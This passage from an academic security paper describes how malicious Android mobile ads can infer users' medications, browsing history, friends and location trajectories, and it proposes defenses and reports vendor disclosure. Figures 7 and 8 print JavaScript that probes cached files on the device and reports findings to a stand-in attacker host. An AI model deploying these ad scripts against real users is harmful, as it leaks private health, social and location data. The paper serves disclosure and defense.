computed their hashCode() values. There were only 7 pairs
of URLs that hashed to the same value. Note that a malicious
ad can query the local resource oracle for as many URLs as
it wishes to confirm visited pages.

D. Social graph

Kakao Talk is a popular messaging app with over 100
million installs. It caches the thumbnails of friends’ images in
external storage. Thus, if the attacker has a mapping from the
names of cached thumbnails to the corresponding identities,
he can easily identify the user’s friends.

Even if the attacker has only a limited number of mappings
between cached images and people, he can still infer whether
his malicious advertising creative is served to a particular user
by checking the presence of the cached images of this user’s
friends. Furthermore, even partial knowledge of the victim’s
social neighborhood helps the attacker infer the victim’s iden-
tity [34]. Inferred identity can then be confirmed using location
data and other identifiers directly available to the attacker.

In our experiments, the local resource oracle correctly
identified the presence and absence of friends’ thumbnail
images in the user’s Kakao Talk contact list.

E. User trajectories

As explained in Section IV-D, an ad running in the MoPub
AdSDK can learn both the location and device identifier,
letting the advertiser construct a partial trajectory if his ads
are shown to the same user more than once.

We created a simple app following MoPub integration
guidelines. The app requests ACCESS FINE LOCATION,
emulating the scenario where the app needs fine-grained loca-
tion for its own functionality. We also created an advertising
creative that reports the device’s location to our server, com-
bined with the timestamp and GAID.

Our simulated advertiser was able to re-construct fine-
grained trajectories of one of the authors who installed the
app on his device—see Figure 9.
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Example of malicious advertising code

1 <HTML>
2 ...
3 <script src="http://attackerdomain.com/

payload.js"></script>
4 ...
5 </HTML>

payload.js checks the existence of cached files

1 // Medications to check
2 var checklist = {
3 ’Abilify’: ’-71942260.0’,
4 ’Brintellix’: ’45704837.0’,
5 ...
6 ’Xanax’: ’-605716878.0’
7 };
8
9 function imagePresent(e) {

10 var report_obj = document.createElement(’
img’);

11 report.obj = "http://attackerdomain.com/
report?med=" + e.target.label;

12 // Report existence of cached medication
images to the advertiser

13 document.body.appendChild(img_obj2);
14 }
15
16 function vetImages() {
17 for (var key in checklist) {
18 var img_obj = document.createElement(’img

’);
19 // If an image is present, imagePresent

will be called
20 img_obj.addEventListener("load",

imagePresent);
21 img_obj.src = "file:///sdcard/Android/

data/com.goodrx/cache/uil-images/" +
checklist[key];

22 img_obj.label = key;
23 document.body.appendChild(img_obj);
24 }
25 }
26
27 window.addEventListener("load", vetImages,

true);

Fig. 7: Checking the presence of cached medication images
on the device

It is well-known that even simple trajectories, such as work-
home place pairs and commute paths, are strongly identify-
ing [14, 20, 31, 55]. Furthermore, just one location can identify
the user if, for example, it is reported from inside a single-
person residence.

Finally, the attacker can combine multiple pieces of infor-
mation, for example, to infer social ties between users from
their geographic co-locations [12].

VII. DEFENSES

A. App developers

Unfortunately, the developers of ad-supported apps have
few options to protect their users from malicious advertising.

Checking the existence of non-image files

1 var checklist = {
2 ’DMV’: ’1645feb7’,
3 ...
4 };
5 function vetFiles() {
6 for (var key in checklist) {
7 var script_elem = document.createElement(

’script’);
8 // If the file is present, filePresent

will be called
9 script_elem.addEventListener("load",

filePresent);
10 script_elem.src = "file:///sdcard/

TunnyBrowser/cache/webviewCache/" +
checklist[key];

11 script_elem.label = key;
12 document.body.appendChild(script_elem);
13 }
14 }
15
16 window.addEventListener("load", vetFiles,

true);

Fig. 8: Inferring sites visited in the Dolphin browser

Fig. 9: Inferred trajectory

The logic of AdSDKs and the configuration settings of We-
bView instances used by AdSDKs to display ads are opaque
to the apps, and app developers have no control over them. If
an app’s business model requires it to include an AdSDK that
needs READ EXTERNAL STORAGE, the app is forced to
request this permission from the user.

In Web programming, website owners can specify Content
Security Policy (CSP) for their pages to confine third-party
JavaScript code [45]—assuming users’ browsers support CSP.
Android’s WebView supports CSP for loaded content, but
there is no way for app developers to enforce CSP on the
advertising creatives loaded by WebView instances within
AdSDKs. Furthermore, app developers have no mechanisms
for restricting the privileges of the AdSDKs they include.
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In particular, an app cannot confine WebView modules to
an isolated subspace of external storage because this is not
supported by the Android OS.

B. AdSDK providers

AdSDK providers have more options to protect users from
malicious advertising. For example, they may scan advertising
creatives to detect the presence of privacy-violating code.
These scans can be evaded by malicious advertisers by de-
livering different scripts to different clients or by obfuscating
malicious JavaScript payloads under the guise of optimization.

An effective, yet impractical defense is to ban scripts in
advertising creatives. This contradicts the fundamental busi-
ness logic of AdSDK providers, who want to accommodate
advertisers seeking ever more dynamic and responsive ad-
vertisements. MRAID specification also requires JavaScript
in advertising creatives [26]. Therefore, a ban on scripts is
not aligned with the trend towards richer, more interactive
advertisements.

A more feasible partial defense is to “jail” the WebView
instance used to show advertising impressions so that it can
access only a dedicated subspace of external storage. Since
the attacks we presented (with the exception of trajectory
inference) all involve reading or loading local resources via
file-scheme URIs, an AdSDK can try to intercept all such
requests and block those attempting to access resources outside
the dedicated directory.

Since Android 3.0 Honeycomb, WebView supports the
shouldInterceptRequest API that lets developers register
their own callback methods. AdSDK providers can implement
their access-control logic in the callback method. This defense
is difficult to implement, however, because it requires that the
AdSDK (1) intercept all possible ways in which JavaScript can
access local files from WebView, and (2) correctly interpret the
file path.

Figure 10 shows a proof of concept that confines file URI
requests to a whitelist of designated app-owned directories.
Ln 5 and 6 define a jail directory for WebView instances.
All subdirectories of the jail directory can be accessed by
WebView instances that use SandboxWebViewClient. Ln
14 in the shouldInterceptRequest callback checks that the
intercepted file URI is a sub-directory of the jail directory.

This defense is only a limited, partial protection. It
checks file URI requests, but there may be other ways
to access local resources that bypass the defense. For
example, Android does not invoke shouldInterceptRe-
quest for content URIs (content://). Therefore, when a
WebView instance enables setAllowUniversalAccessFrom-
FileURLs, the attacker can steal local files by send-
ing XMLHttpRequest to content URIs. In particular, pic-
tures taken by the device’s on-board camera are avail-
able via content://media/external/images/media/[number].
Therefore, we strongly recommend not to enable setAllowU-
niversalAccessFromFileURLs and not to change its default
false setting.

Furthermore, after intercepting the URI, AdSDK must
correctly interpret the file path in the request and the origin of

1 // Extends WebViewClient to check resource
requests

2 class SandboxWebViewClient extends
WebViewClient {

3 // Define a whitelisted directory that
loaded HTML contents are allowed to
access

4 // JAIL_DIR: /data/data/[package]/app_jail
5 final Uri JAIL_DIR = Uri.fromFile(

getApplicationContext().getDir("jail"
,0));

6 final String JAIL_PREFIX = JAIL_DIR.getPath
();

7
8 @Override
9 public WebResourceResponse

shouldInterceptRequest (WebView view,
String url) {

10 // Intercept every file URI request and
check whether the file path of the
URL is a subdirectory of JAIL_DIR

11 Uri givenUri = Uri.parse(url);
12 String givenPath = givenUri.getPath();
13 if ("file".equals(givenUri.getScheme()))

{
14 if (givenPath.startsWith(JAIL_PREFIX))

{
15 // If URL is a file URI and a

subdirectory of JAIL_DIR, the
request is granted

16 return null;
17 } else {
18 // Otherwise, block access
19 return new WebResourceResponse("text/

html", "UTF-8", null);
20 }
21 } else {
22 // All other requests are allowed
23 return null;
24 }
25 ...
26 }
27 ...
28 }
29 ...
30 // Assigns SandboxWebViewClient to a WebView

instance that shows advertising creatives
31 WebView myWebView = (WebView) findViewById(R.

id.webview);
32 myWebView.setWebViewClient(new

SandboxWebViewClient());
33 ....

Fig. 10: “Jailing” WebView by intercepting URI requests

the JavaScript code that issued the request. This is notoriously
error-prone [18, 19, 44].

We emphasize that the proposed defense is designed
against malicious advertisers. It is not effective against ma-
licious apps. If a malicious app with the READ EXTER-
NAL STORAGE permission is already installed on the user’s
device, it can read other apps’ files directly from external
storage, without any need for inference attacks.

An AdSDK can also “jail” advertising impressions by
imposing a CSP on them. Confining URIs to certain direc-
tories requires matching the path parts of URIs, which is not
supported by CSP 1.0 [45]. CSP 2.0 has path matching func-
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tionality [52], but CSP 2.0 is supported in Android WebView
only since Android 5.0 which currently accounts for 15% of
the Android market [13]. This defense is thus not available on
85% of Android devices.

As an alternative to jailing and fine-grained filtering,
AdSDK may simply block ads from loading local resources
regardless of their origin. This is likely unacceptable because it
prevents media-rich ads from reading cached video and images
and will result in unnecessary mobile network data usage.

C. Mobile OS designers

A more robust defense would add new mobile-OS facilities
that permit application-level code such as AdSDK to restrict
a class such as WebView to a dedicated storage subspace.
The OS should provide built-in “jail” functionality which can
be invoked via an API call, as opposed to requiring AdSDK
developers to manually write code for intercepting file requests
and interpreting file paths.

Another approach is used by iOS, where each app’s files
are located under a file path with a random 128-bit universally
unique identifier (UUID) [7]. Assuming the identifier does not
leak to the attacker, this prevents inference attacks described
in this paper.

In the long term, we believe that mobile OSes would benefit
from a principled re-engineering of the mobile software stack.
The re-designed OS would provide secure, full-stack contain-
ers for untrusted mobile content that extend all the way to
storage systems, eliminating the current use of external storage
as a kind of shared file cache for all apps. These containers
would provide an isolated execution environment for the entire
functionality required by media-rich ads: rendering, caching,
storage, etc. Effectively, each ad impression would be treated
as if it were a separate app with dedicated storage and no
access rights outside that storage. We leave the design and
implementation of such containers to future work.

VIII. RELATED WORK

There is a large body of work on direct and side-channel
attacks that can be performed by malicious Android apps to
steal other apps’ secrets [10, 28, 30, 40, 49, 57]. All of these
papers assume that the victim has installed a malicious app
on his or her device. By contrast, the attacks described in this
paper are performed solely via mobile ads, without running
any malicious app code.

We argue that the threats from malicious ads are broader
in scope and have bigger impact than the previously described
threats from malicious apps. First, virtually any advertising-
supported mobile app can be exploited by a malicious ad-
vertiser to attack other apps via the local resource oracle.
For example, 41% of Android apps in the Google Play Store
use AdMob [6], one of the vulnerable AdSDK in our study.
Second, users have very little control over the ads shown to
them, as opposed to the apps installed on their devices. Finally,
many malicious apps can be blocked by app stores, whereas
dynamic filtering of malicious ads is more challenging.

Several studies investigated the leakage of users’ informa-
tion to mobile advertising libraries and the risks of abusive
and overprivileged AdSDKs [9, 22, 46]. As we explained

in Section III-C, most modern AdSDKs do not intentionally
reveal all information they collect to advertisers and in fact take
great care to isolate ads from the host app and the AdSDK.
Therefore, no conclusions can be drawn from these studies
about the leakage of users’ information to mobile ads. To the
best of our knowledge, ours is the first study to investigate this
issue.

AdDroid [37] and AdSplit [43] are proposals to sepa-
rate advertising functionality from mobile apps so as not to
overprivilege advertising libraries. Neither would prevent the
attacks described in this paper. As long as media-rich ads on
Android require access to external storage, which is essential
for performance and caching, the direct and indirect inference
mechanisms will remain feasible even if the privileges of the
ads are separated from the host app.

AdJail [47] protects Web content from malicious adver-
tising by assigning a different origin to ads and leveraging
browser support for CSP. This solution does not translate to
mobile advertising without significant changes to the Android
OS, such as propagating origin information to individual
objects in the device’s external storage.

Wu and Chang showed how to steal files from mobile
devices by exploiting how mobile browsers interpret SOP
for file-scheme origins [53], in particular, the fact that old
versions of Android’s WebView treat all file-scheme URIs
as the same origin. This attack is similar to the direct file-
reading vulnerability in AdMarvel described in Section IV-B.
To the best of our knowledge, the local resource oracle and
the inference attacks it enables have never been reported
before. These indirect attacks work regardless of how the same
origin policy is implemented in WebView, including the latest
implementations that have fixed the vulnerability described
in [53].

Wu and Chang also applied their attacks to iOS de-
vices [54] and showed that UIWebView, the iOS counterpart
of Android’s WebView, allows Web content to read sensitive
files. In iOS, the path to each app’s files includes a random
128-bit UUID [7]. Therefore, the attacker should not be able
to infer the paths to sensitive files, which differ from device
to device. The exploits described by Wu and Chang involve
users explicitly consenting to open malicious JavaScript files
with vulnerable iOS applications. Our inference attacks based
on the local resource oracle do not involve user interaction
but require exact paths to sensitive files. Therefore, unlike on
Android, they cannot be used to attack a large number of iOS
devices unless the attacker can learn application UUIDs on
targeted devices.

To protect location data, LP-Guardian [17] coarsens lo-
cations by adding noise and lets users designate apps that
require protection. Zhang et al. focus on side-channel leaks and
propose an application-level monitor that prevents background
processes from collecting privacy-sensitive information [56].
This defense does not protect against AdSDKs that openly
send location data over the network, nor against mobile ads
that run in the foreground.

Several proposed systems aim to help users make informed
decisions about installing mobile apps. AppProfiler [41] gen-
erates a privacy-sensitive behavior profile based on the static
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analysis of the app. Harbach et al. demonstrated that person-
alized dialogs showing actual values requested by apps help
users avoid overprivileged apps [24]. These techniques do not
address the privacy risks of mobile ads.

IX. CURRENT STATUS OF VULNERABILITIES

We have disclosed the issues discussed in this paper to the
Android security team and all affected AdSDK providers. In
response, AdMob and AdMarvel patched the local resource
oracle in the latest releases of their AdSDKs. AirPush and
MoPub acknowledged the report but did not respond whether
they patched the local resource oracle.

We also reported to MoPub that if the app has the ACC-
ESS FINE LOCATION permission, then the MoPub AdSDK
reveals the device’s fine-grained locations to the advertisers.
MoPub responded as follows:

“If you are allowing MoPub to access this data, these will
be accessible to our advertisers for precise targeting. If you
have more questions on the privacy policy, you can also read
here: http://www.mopub.com/legal/privacy/”
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